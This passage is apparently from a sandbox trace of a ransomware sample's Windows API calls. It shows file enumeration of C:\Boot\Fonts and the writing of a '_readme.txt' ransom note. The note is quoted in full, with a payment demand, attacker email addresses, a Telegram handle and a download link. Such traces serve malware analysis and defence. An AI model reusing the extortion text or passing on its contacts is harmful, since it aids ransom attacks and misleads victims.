RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.372] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.372] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.372] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.372] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.372] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.372] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.372] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.372] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.372] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.372] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.372] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.372] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.372] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.372] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.372] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.372] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.372] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.372] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.372] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.372] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.372] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.372] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0116.372] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.372] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.372] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.372] PathFindFileNameW (pszPath="") returned="" [0116.372] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.372] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.373] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.373] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.373] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.373] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.373] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.373] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.373] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0116.373] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.373] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.373] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0116.374] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.374] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.374] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.374] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.374] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.374] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.374] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.374] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.374] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.374] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.375] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.375] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.375] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0116.375] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0116.375] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0116.375] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0116.375] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0116.375] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0116.375] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.375] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.375] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.375] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.375] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.375] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.375] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.375] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.375] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.375] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.375] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.375] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.375] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.375] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.375] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.375] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.375] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.376] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.376] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.377] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.377] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.377] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.377] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.377] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.377] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.377] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.377] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.377] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.377] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.377] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.377] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.377] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.377] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.377] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.377] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.377] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.377] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.377] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.377] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.377] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.377] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.377] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.377] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.378] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.378] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.378] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.378] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.378] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.378] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.378] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.378] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.378] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.378] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.378] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.378] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.378] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.378] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.378] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.378] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.378] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.378] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.378] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.378] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.378] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.378] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.378] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.378] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.378] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.378] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.379] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.379] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.379] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.379] HeapFree (in: 